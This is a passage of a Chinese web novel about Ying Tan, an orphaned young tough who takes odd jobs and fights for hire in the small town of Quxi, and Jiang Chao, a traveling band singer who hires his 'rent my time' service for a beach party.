“你别管这事儿咱们怎么处理,尽管放宽心,保证给你办妥了。”
范钱荣打断他,拍拍王老板胳膊:“那几个孙子在哪?”
王老板迟疑地侧过身:“……可不就在那坐着吗。”
范钱荣这种能在鱼龙混杂的圈子里混开的人,多多少少有几分机灵狡猾。他其实打听过王老板酒吧里的这事儿。
王老板是外地来的商人,见曲溪这边好像有点儿要发展起来的苗头,就跑来这里,买了家酒吧。
这酒吧被本地的一个小老板看上了,一直没买,就想着再压点价。王老板这一介入,人到手的肥肉飞了,心中自然有怨气,花钱请了混混来惹是生非。
据范钱荣了解,那些混混也不是什么厉害角色,都是些没读完书就出来混的不良少年。
所以当应潭轻描淡写地说“没必要喊太多人”的时候,他不假思索地点头应下了。
结果到了酒吧卡座,范钱荣气势汹汹地站定,心中就是一个咯噔。
一个花臂,一个断眉,还有个穿着无袖背心,露着鼓胀的肌肉。
范钱荣脑海里当下就掠过了一句“我操”。
他的第一个念头是老王真他大爷的抠门,五百块不知道够不够医药费——第二个念头是情报有误,早知道就多叫点人。
正巧无袖背心男抬起头,面目不善,恶声恶气地问:“干什么?”
范钱荣思绪急转,想着该如何智取,结果嘴一瓢,不小心吐露心声,蹦出来句“他大爷的”。
“你说什么?”花臂男眼睛一瞪,拍桌而起:“哪来的黄毛小子,毛都没长齐就来爷爷面前找事儿?”
——哦豁。
范钱荣往后一缩,两条细腿儿一抖。
这下子完蛋,他硬着头皮,正要说点什么,肩头忽地被人按住,借势往旁侧一推。
酒吧的光线朦胧黯淡,少年的大半张面容都被笼在了阴影里。
应潭指节敲敲卡座靠背,开口,挺平淡的语气。
“不用磨蹭扯东扯西,知道你们背后有人,直接点儿跟你们说明白。”
“你们收钱找事,我们收钱平事。和气点就商量一下,人王老板上外地做个生意也不容易,哪里得罪人了让他给你们老板赔个罪,这事也就翻篇儿了。”
“都在曲溪这小地方混,没必要闹得那么僵。”
那花臂男都准备操起酒杯干架了,听他上来四平八稳说了这么一通话,整个人都愣了一下,与同伴对视一眼。
“道上有道上的规矩,”
一直没开口的断眉男忽地出声,抬了抬下巴,轻蔑地笑了下:“商量一下?你们谁啊?要让我给面子,还不够格吧。”
应潭听他说完,点了下头。
他垂下眼,拎起桌上的酒瓶,平平静静地一砸。
玻璃爆裂声骤响,酒液顷刻飞溅。
卡座上的三个男人豁然起身,应潭瞥过去,冷冰冰扯起唇角:“行,那就不商量。”
5. 第 5 章
从酒吧里出来的时候,范钱荣的腿都是软的。
王老板亦步亦趋送他们出门,一副不太放心的模样,一会儿问“那群人下回再来找场子该怎么办”,一会儿说“小弟,这事你可得帮大哥做妥当了”。
范钱荣在他面前装得一副风轻云淡的高手做派,拍着胸脯让他放宽心,等人一回去就开始哀嚎,连声叫着“我靠”。
结巴也心有余悸,频频回头往刚才干架的小巷子里瞅,像是生怕那逃跑的三人去而复返:“他,他,他们怎么,带,带刀啊?”
“真他妈不讲武德,吓得我魂差点都飞了——应哥你怎么样?”
范钱荣小跑着追上应潭,紧张兮兮地去看他的手心,“喇这么大一口子,这得去诊所里看看吧!”
伤口在酒吧里简单处理过,应潭低头看了眼,说了句“用不着”。
确实没料到对方身上会带着小刀,所以在缠斗间看到寒芒的时候,应潭下意识用手去挡。
手心直直撞上刀锋,好在那时对方已经被制服在地,没有多少残余的力气。
“这活收五百挺亏,”
应潭收回目光,伸手碰碰额侧。那里已经肿起一片,触碰时泛开细密的疼痛,不用看镜子都知道有多吓人。
他轻啧一声,状作漫不经心:“你那位老板给了多少?”
“肯定不止五百,”范钱荣一拍脑门,从口袋里掏出个鼓鼓囊囊的红包:“应哥你拿着吧。”
结巴在旁边嘟囔:“怎,怎么,是红,红包啊?占,占应哥,便宜。”
“呸呸,瞎说什么!”范钱荣连忙反驳:“人老王就这么给我的。”
应潭没说话,接过红包,打开后往里头瞥了眼。
都是大红钞票,也不知道那王老板是心中过意不去,还是担心那群人卷土重来,卖好讨个售后服务。
他没仔细数,抽出几张给了结巴,又抽几张递给范钱荣。
范钱荣不肯接:“可别给我,我啥事儿没干,真不好意思收钱。”
结巴又开始数落他:“平,平时,最爱叫嚣,真,真他妈干起来,就你最,最怂。”
范钱荣这回嘴硬不了,他以前上学的时候就最会虚张声势。
他在那儿哑火卡壳、支支吾吾,见应潭把钱往他衣服里一塞,连忙“哎”了声。
“跑腿费,”应潭转身继续走,“帮我找点活儿。”
范钱荣愣了下:“啊?什么活儿?”
“什么都行,”应潭扯扯唇角,“帮人/打/架这种事儿都干上了,还挑什么。”
范钱荣别的干不好,发展人脉网这方面格外在行。
他满口答应下来,想起刚才那场架,又嘀咕道:“也不知道那几个龟孙子之后会不会搞报复。”
结巴说:“出,出门,的时候,也揣把刀。”
“有刀也不一定打得过啊!”
范钱荣扯着他那破锣嗓子吼了声,操心道:“不行,咱几个这些天出门得注意点儿。”
“还有你,成功哥,你回头把你这奶奶灰染回去吧,走在街上跟个活靶子似的。”
结巴最讨厌别人喊他名字,转头给了范钱荣一肘子。
再回头时他眼睛一扫,愣住:“应,应哥呢?”
应潭早就走远了。
伤口包扎得粗糙,血渐渐开始渗出纱布。他转至主街,进了家药店,出来后又去便利店里买了瓶矿泉水。
手机铃声响起,应潭低头挂断,按了静音。
天黑得早,他在便利店旁侧远离路灯的角落坐下,整个人就这么隐进夜色。
血一直流,应潭处理得不耐,冲洗后碘伏止血粉胡乱一倒。
浑身上下没有哪处不疼,他拉开衣领瞥了眼腰腹,黑紫淤青触目惊心。
至少赚的比预想中的多。
应潭轻轻吸了口气,后脑勺往墙上抵了抵。
有人在唱歌。
这条街上常能听见歌声,醉酒后的男男女女握着手机在大街上撒酒疯,公园里的劣质音箱外放着广场舞最热曲目。
但鲜少出现这样的歌声。
身体里躁动烦闷的血液渐渐冷却,连带着一颗心脏都缓下跳动的幅度,整个人像是慢慢沉进幽暗冷寂的深谷里。
应潭靠着墙,稍稍偏过脸,往歌声传来的方向看了一眼。
车辆来往,人流穿梭,他什么都没看见。
几个结伴的少年少女从不远处路过,似乎是注意到了他,声音在经过便利店时小了一截。
他收回视线,面容重新笼回黑暗中,想要起身,又忽然不知该往哪里去。
十一月夜晚的空气冰凉刺骨,应潭坐在那里,思绪慢慢放空。
街上的人少了,有从公园中回来的小孩儿蹦蹦跳跳地往他这边走,被家长匆忙拉住,低声呵斥了一声。
“跟你说了多少遍,要牵着爸爸妈妈的手走路,不然被坏人拐走了怎么办!”
他回过神来,意识到歌声不知何时已然停歇。
天幕彻底坠入墨色,应潭抬手,指腹用力抵了抵眉心。
兴许是坐久了,他有些发晕,低头撑了把道沿,想站起来。
“……你好?”有女声响起,礼礼貌貌的语气,“你怎么了?需要帮忙吗?”
腿隐隐发麻,应潭手上力道一松,抬头。
他的眉眼生得狭长深邃,一对瞳孔黑黢黢的,仿若浸着泠泠寒光,抬眼看人的时候瞬间染上警惕不善的戾色。
江潮怔了一下,认出了他是谁,也被他那张脸上醒目的青肿吓了一跳。
她迟疑片刻,仍旧伸手指了指:“你头上在流血。”
应潭迟半拍地垂头,手指穿进发间。
指腹沾上一抹鲜红,他蹙眉,胡乱拨开发丝,拿着止血药粉简单粗暴地往伤处一洒。
江潮鲜少见着这种处理伤口的方式,看得有几分心惊肉跳。
她忍不住弯下身来,“我帮你……”
话音未落,年轻男人抬起眼,利落擒住江潮探来的手腕。
他的掌心粗砺滚烫,指腹带着厚厚的茧,擦过她娇嫩的皮肤,带过细密的刺疼。
江潮呼吸稍稍一停,下一秒便见他压紧了眉,“别多管闲事。”
对方语气冷硬抗拒,仿佛凶狠的兽。她有些意外尴尬,又觉得这样的反应出奇熟悉。
江潮微愣,安静几秒,退后了一步。
应潭掌心撑住墙,起身。
他比江潮高出许多,垂着眼皮睨她,瞳仁黑得惊人。
仿若是提前预料会迎来气急败坏的低骂,他眼底眸光分外冷漠,唇角也扯开了淡嘲的弧度。
可是没有,女孩的脸颊在昏暗的夜色下分外白皙,仍旧柔和沉静,只是浮上了一层浅淡的红。
兴许是尴尬,亦或是微恼。
那天在旅馆中亦然如此,他语气冷然不耐,她神态微窘,却还在他让出水池后说了声
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“谢谢”。
大城市来的女孩儿言行举止斯文得体,衬得他更为低劣,阴暗冷戾,仿佛刺人的荆棘。
难言的烦闷像是被滤尽了,忽地散去,留下更深沉的、不愿承认的自惭形秽。
应潭沉默下来,下颌绷紧了些,胡乱收走自己的东西。
他转身走进小巷,身形略微不稳,但人高腿长,转瞬就拉开一段距离。
“啧啧啧,这人怎么这样?”旁边忽地有人说话,感叹:“小姑娘,那都是些小混混,天天打架斗殴,受了伤都是自作自受,你平时少搭理他们。”
江潮转过头。
小地方能够用以消遣的新鲜事不多,于是人们总是格外八卦。
各种消息新闻都传得飞快,街头发生了什么事儿,不一会儿就能传到街尾。
便利店老板大概是听见了动静,跑出来看热闹,见人走了,开始为她打抱不平。
“他刚才进我店里的时候我就吓了一跳,那模样,啧啧,肯定是刚打完架。”
“唉,年纪轻轻就不学好,真不知道家里是怎么教的。”
他嘀咕着,却见那姑娘神态不见恼意,也没应声,只是垂着眼,不知在想些什么。
店里跟出来的顾客倒是很有兴致:“怎么回事啊?”
老板朝少年离开的方向抬了抬下巴。
“就刚才来我这边买水的那个男的,你看见了没?脸上都是伤。”
“这美女可热心肠了,好心问他要不要帮忙,那人倒好,张口就甩了一句‘多管闲事’。多伤人啊,你说是不是?”
“一点小事,”
江潮终于出声,笑笑:“我没放心上。”
那顾客朝着老板示意的方向瞧,忍不住道:“这男生我还认识呢。”
老板面色一滞,顿时尴尬起来:“哦哟!”
“嗨,也不是什么亲戚关系,”那顾客摆摆手:“他以前跟我儿子读一个初中的。”
“好像是初一的时候吧,他爹妈全车祸去世了,他们班上搞了捐款,我儿子还捐了五十呢。”
那人看着有几分感慨:“那时候他成绩还挺好,没想到读完初中也就这样了。”
老板没料到背后还有这故事,皱着眉龇牙咧嘴地“噢哟”一声,也跟着长吁短叹:“还有这回事?”
“唉,现在的小孩还总烦爸妈管着,你瞅瞅这整的,没爸妈管了,可不是一下就误入歧途了嘛。”
江潮没听下去。
都是些陌生人的私事,她没有窥探的欲望,更无多少好奇心。
拎着零食回去的时候,林斯敬他们已经把乐器收拾好了,蹲在那儿用手机玩三人斗地主。
“溱溱怎么去了这么久啊?”
见她回来,许甘第一个扑过来,兴致勃勃地翻看袋子里的零食:“我还以为你迷路了,正准备打电话呢。”
林斯敬嘴贫地接了句:“准备打电话报警。”
“谢谢关心,”江潮说:“过个红绿灯就能到的便利店,就不用麻烦警察同志帮忙找人了吧。”
陈勉在旁边乐,随口问了句:“你刚才在跟谁说话?看你站了挺久。”
江潮不以为意:“想当当雷锋,被拒绝了。”
许甘咬着饼干看过来:“啊?怎么回事?”
江潮顿了一下。
“谁知道呢,”她想起之前与对方的几次对话,若有所思地喃喃:“……可能是以为我想敲诈他吧?”
6. 第 6 章
江潮挺喜欢曲溪的生活方式。
这里不会太喧闹,也没有太冷清,人与人之间的关系更紧密。在旅馆住了两周时间,她和小茗一家人都渐渐熟悉起来。
许甘也很喜欢曲溪——主要是因为在榕华公园边街头演唱的视频上了平台热门,乐队账号一夜间涨了几千粉。
他们账号原本的粉丝数量也只有两三千左右,如今一下子翻了倍,还在随着时间继续增加。
许甘乐开了花,野心勃勃地召开“乐队会议”,提议多拍几个视频,蹭一蹭曲溪在网络上的流量。
“那首歌不是这样唱的吗?在曲溪的海边喝醉睡着,梦见了逝去爱人的灵魂——我们可以拍好几种版本的视频,”
她盘腿坐在床上,兴致勃勃地出主意,“正式一些的话就直接翻唱,抒情一点的话,我想想,在海边唱安眠曲怎么样?”
江潮端正地坐在床沿,见许甘兴致高,抿唇笑笑,不太在意地点头。而陈勉平日里话也不多,低着头看手机。
“哎哎,蹭的有点明显了啊,”林斯敬则端着桶泡面,状似调侃,“小甘你这么拼啊?”
林斯敬和江潮在某些方面很相似,二者皆不缺金钱,也不用为未来发愁。
但两人也有不同,一个大学毕业后不想继承家业,于是出来潇洒自在;一个读完高中后选择gap一段时间,看看人生百态,自我开解、自我沉淀。
所以江潮常常会顺着同伴的步调走,而林斯敬内心独有一份清高。
为了网络上缥缈的热度,去初冬无人的海边演奏,这事儿林斯敬嫌弃,没什么兴趣,也觉得有点儿违背街头乐队的初心。
许甘读懂了他的兴致缺缺,哼哼着说:“这么拼怎么了?要吸粉就是得蹭流量嘛。”
林斯敬没看她,与江潮陈勉分别对视一眼,无奈叹气,说了句“小孩子心性”。
乐队四人在一起这么久,难免出现分歧。
在气氛稍显僵持的时候,江潮往往是进行和事调节的那一位,这次也不例外。
林斯敬不想对着空气演出,许甘想要抓住流量的眷顾。江潮垂眸须臾,再抬目时眼眸微弯,温和提议。
“要不要试试在海边组织些活动?”她顿顿,“像是篝火晚会,我们可以多认识些朋友,也可以唱歌伴奏。”
许甘眼睛一亮,马上投了赞成票,又扭头撒娇:“斯敬哥勉哥,你俩觉得呢?”
“我们来这么久了,天天在路边唱唱唱。这里没什么好玩的,也没什么有意思的人,总该让孩子们试点儿新东西吧!”
陈勉收起手机,抓抓头发:“我都行啊,看你们决定吧。”
还差一个人的同意,许甘从床上蹦下来,几步跃到林斯敬身边,手臂松松勾住他的脖颈:“斯敬哥!”
“停停停,锁我喉呢?君子动口不动手啊,”
林斯敬挣了挣,视线瞄向江潮,摊摊手:“哎行吧,大老板都发话了,咱们能不从吗。”
许甘“嘿!”了一声,手臂真用上了几分力气,龇牙咧嘴地说他:“一天到晚就知道调戏溱溱。”
乐队刚来曲溪不久,认识的人亦不多,想要组织活动不容易。
恰好是周末,小茗在前台帮忙,江潮起身下楼,向她知不知道该去哪里找人搭建场地、宣传拉人。
“沙滩篝火晚会?听起来好好玩儿,”
对方从笔记本电脑前抬起脑袋,惋惜道:“可惜我课满,只有周末能回家。”
“要不我帮你们上网问问?或者你们可以去外边那个荣昌超市,那块有个广告牌,可以贴贴传单广告什么的。”
荣昌超市与旅馆不远,江潮拉上同伴动身。
广告栏坐落小超市后门隔间里,三面墙上都挂了木板,板上密密麻麻钉着纸张。
“餐馆请人、房屋出租、橱柜厂招工……”
许甘靠近查看,嘀咕,“下面还贴着电话号码呢,怎么跟电线杆上的小广告一样。这真的靠谱吗?在网上找人不是更方便嘛。”
陈勉:“大概是以前的东西吧,网络还没普及的时候。”
广告栏一侧置着装了彩钉的塑料盒,江潮随手取出几颗,将他们赶制出的手绘传单钉上木板。
“……怎么还有出租时间的?”
许甘像是发现了什么很新奇的东西,忽地大声:“你们快来看!”
江潮循声转头,看向那面墙。
许甘说的那张传单分外醒目,花花绿绿五颜六色,排版杂乱无章,一行大一行小的字体铺遍纸面,最顶端的标题是一排加粗的硕大红字——出租时间。
“包括但不限于修车、代打、零售、向导、摄影、跑腿等等业务,”
林斯敬凑过去,宣读传单上的字样,“一小时起租,无条件尽力满足客户需求。”
“还能这样找工作呢,”林斯敬挑起眉,乐了:“这人想法挺活络啊?”
陈勉:“加一下试试。”
许甘已经拿出了手机,将摄像头对准传单上的二维码。
扫描成功,手机“滴”的一声轻响,她低头查看,嘀咕:“这个界面怎么这么简洁,名字也就一个杠。”
“这种人的微信名不应该是AAA出租时间这样儿的吗?”
江潮问:“AAA出租时间?”
“……溱溱你不能只看冷笑话大全,”许甘发送好友申请,说:“也得多上网看看梗。”
林斯敬:“她像是那种会在网上冲浪的人吗?”
江潮笑笑,知道自己被调侃了,也没在意。
她把多出的图钉放回盒中:“去买些吃的吗?”
“咱们去买点吃的吧!”
范钱荣跳下台阶,嚷嚷,“我快饿死了!”
舞厅的霓虹灯光被挡在门后,视野复而开阔明朗。应潭踏下阶梯,懒懒“嗯”了一声。
“走啊,”他说,“我请。”
范钱荣帮应潭介绍了一个周末兼职的活儿,在他大哥开的舞厅里当夜班安保。
今天他带着人过来让舞厅经理看了眼,经理也挺满意,说是下周就可以来上工。
应潭要请客,范钱荣也没拒绝,挑了家便宜的路边小馆子,点了碗牛肉面。
面条还没上,范钱荣先咕咚咚喝了好几杯茶,解渴了将茶杯往桌上一放。
“他们这舞厅的时薪肯定比外边高点儿,就是不缺人,只招周末兼职的。”
范钱荣说着,迟疑一下,又问:“应哥你住的地方搞定了没有?”
应潭摇头,说“在找”。
“实在不行,就问问你姑,”
范钱荣咕哝:“现在又不是旅游旺季,他们开旅馆肯定有空房间。”
“总不能还像以前那样,随便给你在客厅里拉个帘儿铺个草席吧?”
应潭扯扯唇角:“又不是残了瘸了,哪好意思总往别人身上赖。”
“啥啊,这咋能叫往别人身上赖呢,那是你亲姑姑。”
范钱荣说着,又愤愤道:“咱们以前班上给捐款,那钱不都是他们收
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着吗,总得用点儿在你身上吧!”
应潭没说话,半晌后开口,却是轻嗤了一声。
“知不知道柴米油盐贵,”他往椅背上靠了靠,姿态懒散,“那点钱够什么。”
范钱荣嘀嘀咕咕的,他不喜欢应潭姑姑那家人,总是抓着机会吐槽。
应潭只是听着,偏脸看向窗外。
玻璃上倒映出他的脸,唇角冷淡平直,浓眉习惯性地紧压着,勾勒一片晦暗阴影。
他又收回目光,拿出手机。
这些天在本地群中找工,留下了微信号码,隔段时间就会有人添加。
来招人的没几个,多是些骗子传销小广告,应潭瞥了一眼新增的好友申请,备注是简洁的三个字。
“租时间”。
应潭蹙眉,觉得莫名。
恰好饭馆老板端来面条,他退出微信,将手机揣回口袋里。
下午应潭约了上门帮人修摩托。他那家汽修店关门,老板有些东西带不走,想卖出去也麻烦,索性给了应潭。
工具箱暂时寄存在范钱荣房间里,吃完饭后应潭往他家里走了一趟,拿了东西往客户家里赶。
车不难修,油管通气管堵塞不出油,清理疏通就成。只是对方临时打电话说会迟一些才到家,让应潭等了近两个小时。
他最缺时间,但他的时间也最不值钱。
出来后天已经黑了,应潭抓紧时间去看了房。
房间是房东自己隔的,床和墙之间只有一条窄窄的单人过道,衣柜都得钉在床脚墙壁上。
老破小里的一间单房,但租金便宜,还包水电。
“我女儿之前住这,现在她嫁出去咯,不回来了。”
房东一步不离地跟着,监察似的抱着臂,“我事先跟你提一句啊,咱这里不给开火做饭,洗澡啥的也得按着固定的时间来,晚上也不能太晚回。”
“我这房子隔音差,租了后不能带人来,平时打电话也小点声。”
应潭掂掂钱包,听房东啰嗦,最后说了声“成”。
那房东看他应得这么快,瞧着有点儿不放心,又连声叮嘱了几句,告诉他不能带不三不四的人回家。
“还有啊,你在外边打架我不管,”房东瞄了眼应潭额头上未消退的伤疤,“别把事惹到我家里来。”
应潭手松松插在裤兜里,腰微微弓着,倚在墙侧。
他脸上没什么表情,“不会。”
交了租金,定了搬家时间,他出了屋子,拐下楼梯。
过道上堆着住户的鞋柜杂物,灰扑扑的水泥墙斑驳脱落。
他走到下一层,坏掉了的灯泡用一根铁丝系着,摇摇欲坠地悬着。
应潭打开手机照亮,察觉到微信里又多出一条好友申请。
是与白天不同的用户,申请备注详细许多,说想要租下他的时间,问他有没有空跑腿购置一些用品。
手机屏幕映现他的面容,他稍抬眉尖,将界面截图,发给了范钱荣。
范钱荣在几分钟后发来语音,应潭将手机举至耳侧。
“瞧我这整的,忘了跟你说这事儿,”
那侧背景音嘈杂,范钱荣扯着嗓门说:“应哥我帮你在荣昌那边贴了个广告,有人加你你记得通过一下啊!”
尾音落下,应潭微微拧眉,盯着屏幕看了片刻,垂手通过那几条好友申请。
手机震动,对话列表中很快出现了一条新信息,发信人头像是一只在幽蓝夜幕中展翅的白鸟。
-你好。
7. 第 7 章
“溱溱!”
酒吧里灯光昏暗旖旎,强烈鼓点勾着躁动的血液。
许甘跟着驻唱乐队蹦完一曲,小跑着从舞池回到卡座,坐下时猛喝了几口莫吉托。
“跟谁聊天呢?”她放下酒杯,眼尾眉梢都染着股兴奋劲儿,看向江潮:“来跳舞呀!”
“出租时间的那个人,刚加上了。”江潮刚改完对方备注,闻声抬眼,“你们玩吧,我帮你们看着。”
傍晚时许甘嘟囔着那人没通过好友申请,不知道是没看见还是被系统吞了。
江潮听见了,自己也试了试添加。
许甘正从包里拿出皮筋扎头发,闻言“哦”了一声,满不在乎道:“那溱溱你跟他说吧!”
江潮应了一声,晃晃手机:“这人好像……”
酒吧里太嘈杂,许甘没听见。她赶着回舞池里跳舞,没说几步就又匆匆远去。
江潮将话音咽下,复而低头。
对话界面中信息仅有两条,一句她发过去的“你好”,一句对方回过来的“什么事”。
她本以为会收到购物平台找客服时的下单须知或价目表一类的回复,但都没有。
对面发消息的态度也与传单的风格有些不同,简洁到不像是同一个人。
江潮的指尖停留在输入框上,在片刻思索后输入文字。
溱溱:我们这边准备举办一个沙滩篝火晚会,想要请个人帮忙。
AAA出租时间:做什么?
溱溱:大概是买一些东西,把货送到指定地点,活动当天帮忙布置场所。
溱溱:……如果可以的话,到时候也希望能在朋友圈里帮忙宣传一下。[笑脸]
AAA出租时间:行。
对方没有详细询问交易的细节,答应得太快,也太果断。
江潮手指微顿,有些讶然。
溱溱:我和朋友商量一下,细节之后发给您。
溱溱:您的时间怎么收费?
这回对方没有秒回。
江潮看着对话框最上方的状态变化,最初的“输入中”消失不见,却在延迟须臾后才出现了新的信息。
AAA出租时间:面谈吧。
“美女,”有声音从头顶传来,压着刻意的低音,“我可以坐在这里吗?”
江潮将手机扣在桌面上,抬头。
那人喷着浓重香水,头发用发胶抹成油头,看着三十往上。
她的手指不易察觉地攥了攥袖口,礼貌笑笑。
“不好意思,我的朋友等下会回来。”
“这样啊?”
那男人却没走,一只手端着酒杯,另外一只手摁在桌上,弯身倾近。
“小姐姐,那能不能加个联系方式?”
另一道声音插进:“大叔,这位小姐姐名花有主了哈。”
搭讪的男人直起身,转头看了林斯敬一眼,脸上吊儿郎当的笑容顿散,咕哝了句“没劲儿”。
那人悻悻走开,陈勉跟着林斯敬坐下,笑了一声,重复他刚才的话:“名花有主?”
“人家是我们乐队的人嘛,来曲溪又不是为了跟谁约会,当然得找个理由打发走了。”
林斯敬开了瓶啤酒,戏谑道:“溱溱小姐,你说对不对?”
江潮肩颈稍稍放松下来,随他们调侃。
她转开话题,正经问:“篝火晚会要买什么东西?”
“啊?呃,我想想啊……”
林斯敬把酒斟入杯中:“椅子桌子毛毯垫子。再买点儿飞盘排球吧,娱乐项目得有。”
陈勉:“安全意识也要有,配一个灭火器。”
林斯敬痛快干了杯中酒,“还有吃的喝的……到时候就提前联系个老板送点烧烤过去吧,省事儿。”
“哦,要不再买几瓶好酒?这种篝火晚会不喝酒怎么行。”
“好酒?”
江潮抬头,视线落向他手边那只空了的玻璃杯,慢吞吞道:“好久不见。”
林斯敬愣了一瞬,情不自禁“嘶”了一声,搓搓胳膊:“……我靠。”
江潮说完笑话,未待别人反应,自己已经眉目舒展,唇角抿起了点儿得逞之后心满意足的笑弧。
她听着他们聊天,重新拿起手机,在备忘录里列出购买清单。
没过多久,许甘也回来了。
她在舞池里认识了几个年轻人,还兴致勃勃地跟去他们桌边喝了一杯,被林斯敬瞧见了。
“怎么样?”林斯敬打趣她,“有遇见帅哥吗?”
“什么帅哥不帅哥的——他们说这里旁边有个舞厅特好玩,周末晚上特嗨。”
她一屁股坐在江潮身边,“这儿的年轻人都去那蹦迪,据说还有超火辣漂亮的DJ姐姐……哎,我们什么时候去玩一回?”
“超漂亮的DJ姐姐?”
林斯敬抱起臂,吊儿郎当地开玩笑:“哪有人比我旁边这俩美女漂亮?不可能。”
许甘卡了壳,忍不住伸手打他一下,嘟囔了句“油嘴滑舌”。
清单整理好了,江潮起身去卫生间。
穿着朴素的中年人窝在角落里喝闷酒,打扮得光鲜亮丽的年轻人挤在舞池中甩头,无名背包客寂寥地倚着吧台。
她其实不太喜欢酒吧舞厅这样的场合,太喧闹,鼓噪声响每时每刻都在刺激着耳膜。
不过在和朋友一起出行时,江潮向来习惯随波逐流。
醉醺醺的女孩横冲直撞地从她身后经过,一头栽进隔间里呕吐。江潮关掉水龙头,稍稍抬眼。
镜面干净明晰,倒映出的面容沉静柔和。
她也喝了酒,上扬的眼尾晕开一抹微醺的红,瞳光却仍旧清醒,与周遭的一切都格格不入。
她与很多地方都格格不入。
江潮垂下眼,轻轻呼出一口气,擦干手后转进卫生间外的走廊。
通往酒吧后方街道的那一扇门虚虚掩着,浅淡的烟味、垃圾的臭味与数道人声混杂着传进来。
“王老板,你甭紧张,咱们敞开天窗说亮话。”
说话那人嚷嚷道,“现在那姓张的不给钱了,哥几个搞你这破酒吧干啥,又不是闲着没事儿干了,你说是不是?”
那位王老板连忙应声,点头哈腰:“是、是,我也说呢,和气生财嘛,哈哈!就是这回吧,你们这回大驾光临,是来……?”
“也没什么事儿,就跟你打听个人——你这酒吧跟咱们没关系,上回那几个臭小子倒是跟咱关系深厚啊。”
又有人开了口,尾音阴恻恻地拉长,“领头的那个,黑头发挺能打的那男的,叫什么名字?”
薄薄一扇门阻隔不了多少声音,江潮听得清楚,微微拧眉。
她年幼时便听家人提起娱乐业水深,从夜总会至娱乐公司皆是如此。
母亲告诉过她,当初父亲收养孩子、建设福利院,正是因为被无良媒体纠缠勒索。
虚掩的门缝中幽影晃动,却什么都看不清晰。江潮收回视线,加快脚步。
“哎哟,这……我记不太清楚了……”
“老
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板,你好好回忆——想不起来也没事儿,咱们改天再来问问你。说不定有一天你就能记起来了呢?”
“哎、哎,我记起来了!好像、好像是叫应潭来着?”
最后一段对话落入耳中,余下的声音都被音乐声掩盖。
江潮微怔。
她脱离那道灯光幽暗的走廊,迈入酒吧大厅。
绚烂灯光闪烁,江潮眉尖蹙着,重新落座,也终于记起了这个似曾耳闻的名字。
在酒吧待至深夜,精力充沛的许甘也有些疲倦。
他们打道回府,旅馆门口挂上了两只新的复古灯笼,澄黄的灯光倾在石砖地上,映出长长的影子。
江潮落在最后,慢吞吞走进旅馆。前台坐着的是小茗的母亲,上次深夜里在旅馆一楼吵架的那个女人。
她迟疑着要不要靠近,或许那样的对话、那样的麻烦对他而言是家常便饭,特意提醒倒显得她大惊小怪。
何况这件事也许只是个乌龙,只是名字的读音相近,也可能是她没有听清。
“回来啦?”那位阿姨正在看肥皂剧,抬头时挤出点儿笑,“去哪儿玩了呀?”
许甘回答她去了酒吧,蹬蹬蹬地上了楼。江潮抿唇,没跟着上去,停在前台边。
“阿姨,”江潮问,“你是不是有个叫作应潭的亲戚?”
妇女张着口,神色迷茫,又有种对着生人时的谨慎小心:“啊?那是我侄子。”
她瞄着江潮的表情,不明白这么一个比电视中女主角还光鲜漂亮的姑娘怎么会提起应潭,迟钝地回:“咋了这是?他干啥了?”
江潮摇头,斟酌着语句,说起自己在酒吧里听见有人想要找他的麻烦。
妇女的姿态顿时放松,脱口而出:“我还以为啥事儿呢。”
她竖着根指头,在屏幕上点了下继续播放,“成,我改明儿跟他提一句。”
林斯敬在楼梯边倚着,等她过来时挑了下眉。
“应潭是谁啊?”
“敲了你十块钱的那一位。”
林斯敬显然一愣。
他们这行人酒量都好,但喝了酒到底会有些影响。
林斯敬唇角笑容淡了点儿:“你管他的事儿干嘛?”
话音出口方觉生硬,他轻咳,又补了句:“瞧那阿姨敷衍的,他们都习以为常了吧。”
江潮弯起眼睛,玩笑般反问,“那你还没习惯吗?”
林斯敬脚步停住,忽地哑然。
金陵的那个深夜如剧目闪现,他那时似乎也问了相似的问题,而江潮抱膝坐在阳台摇椅上,说话声音很轻。
她说那是为了她自己。
“怎么了?”女孩儿的声音响起,林斯敬回过神来,才意识到他跟着江潮一路走到了走廊尽头。
江潮眨眨眼睛,问他,“要进来打牌吗?”
“……梦里打吧,”林斯敬抓抓头发,转身往回走,“早点睡啊。”
江潮说了声晚安。
她走进房间,轻手轻脚地关上门。卫生间中水声哗哗,许甘在里头洗澡。
江潮在小沙发上坐下,闲着无事,拿起手机。
微信中有几条新信息,她一一回复,对话列表向下划,才察觉自己没有与出租时间的那位约见面时间。
聊天界面上躺着一句数小时前的“面谈吧”,她忘了回,对方竟也一直没有发来新信息。
江潮垂眸,手指落在手机屏幕上,一板一眼地回复。
-好的。
-您什么时候有空?
8. 第 8 章
最后一个纸箱被置在墙边,往里推时激起一片久积的尘灰。
应潭手臂上因用力而鼓起的肌肉线条渐收,戴着棉线手套的手握住折叠梯,长腿踩向地面。
“活动?”他稳当落地,一只手拿着手机,咬扯褪去手套,“关我什么事。”
越成功:“听、听说,有免费,免费的,晚餐……”
应潭把手套塞进口袋里,冷冷问:“你看我像是到处蹭饭的人?”
一车货卸完了,应潭把手推车叠好,去前头找老板。
老板大概对他干活的速度效率挺满意,钱给得痛快。
应潭把工资收好,抬眼时神色随意,问老板店里还招不招人。
“嗨,哪有钱招人啊,咱们这种小本经营,都是全家人上阵白打工。”
老板摆摆手:“要不是我腰闪了,这货都我自己来卸的。”
应潭手插在裤兜里,点了下头,平淡道:“以后有需要还可以找我。”
手机通讯还没挂断,越成功在电话那头和谁说着话,嘟嘟囔囔的。
应潭瞥了眼屏幕上的通话时长,手指落在屏幕上,说了声“挂了”。
“结巴,让我说几句——”
有人抢过手机,嬉皮笑脸地问:“喂?应哥,你真的不去啊?他们那活动有个美女,长得绝对惊艳。”
另一人说:“咱们这种癞蛤蟆就别往人家小仙女面前凑了,没实力的舔狗舔到最后一无所有啊。”
还有人嘻嘻哈哈:“结巴那位应哥倒是可以试试,不是说长得挺帅么?”
“活儿要是也不错,说不定就傍上富婆了,都不用费劲儿找工作了,哈哈。”
那头一阵哄笑,应潭轻嗤了一声,不咸不淡道:“没事找事。”
“听,听到没,没事找事,”
越成功在那头说,“开,开应哥,玩笑,小,小心,应哥削你。”
越成功那宿舍里一帮人都不着调,聚在一起时不是打游戏就是开黄腔,没别的爱好。
应潭没兴致继续听,挂断电话,看了眼时间。
范钱荣不知道折腾了些什么,陆续有几个人加他微信,提起出租时间这回事儿。
有的加了就没声音,有的来打听做这行的行情怎样。也就一人正儿八经地阐明来意,同意出来面谈。
眼看着快到约好的时间,应潭赶到地方,站定。
